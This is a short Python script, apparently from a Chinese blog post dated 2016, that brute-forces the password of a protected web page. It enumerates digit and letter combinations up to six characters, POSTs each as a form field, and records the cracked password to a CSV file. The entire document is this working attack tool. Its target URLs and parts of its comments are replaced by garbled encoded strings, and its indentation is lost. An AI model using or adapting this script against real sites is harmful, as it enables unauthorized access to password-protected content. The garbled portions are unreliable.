"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post
#密码生成器
def psgen(x=4):
iter = ['1234567890',
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
]
for r in iter:
for repeat in range(1,x+1):
for ps in product(r,repeat=repeat):
yield ''.join(ps)
def fx(url):
#把URL中的readauth字符删掉,替换成"a4dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4F1j5X3I4G2k6%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6E0N6h3g2J5i4K6u0r3j5i4u0U0K9r3W2$3k6g2)9J5c8U0t1H3x3e0q4Q4x3V1j5I4x3g2)9J5c8U0t1%4i4K6u0r3k6X3q4U0N6s2g2S2L8r3W2K6L8g2)9J5k6h3S2@1L8h3H3`."这样的格式,因为这个才POST的目标地址。
url = url.replace("/post/readauth?url=", "")
for ps in tqdm(psgen(6)):
try:
rs=post(url,data={'tb_password':ps},allow_redirects=1)
if rs.url == url: #如果提交密码后,返回的url得到为"d20K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4F1j5X3I4G2k6%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6E0N6h3g2J5i4K6u0r3j5i4u0U0K9r3W2$3k6g2)9J5c8U0t1H3x3e0q4Q4x3V1j5I4x3g2)9J5c8U0t1%4i4K6u0r3k6X3q4U0N6s2g2S2L8r3W2K6L8g2)9J5k6h3S2@1L8h3H3`."这样的形式,那么认为猜到正确的密码了。
with open("resut.csv","a+") as f:
f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
break
except:
sleep(1)
pass
url='50fK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4F1j5X3I4G2k6%4y4Q4x3X3g2U0L8$3#2Q4x3V1k6H3L8%4y4@1i4K6u0r3M7X3g2S2k6r3q4#2N6r3S2Q4x3@1k6#2M7X3I4Q4x3@1c8Q4x3V1k6E0N6h3g2J5i4K6u0r3j5i4u0U0K9r3W2$3k6g2)9J5c8U0t1H3x3e0q4Q4x3V1j5I4x3g2)9J5c8U0t1%4i4K6u0r3k6X3q4U0N6s2g2S2L8r3W2K6L8g2)9J5k6h3S2@1L8h3I4Q4x3U0M7`.
fx(url)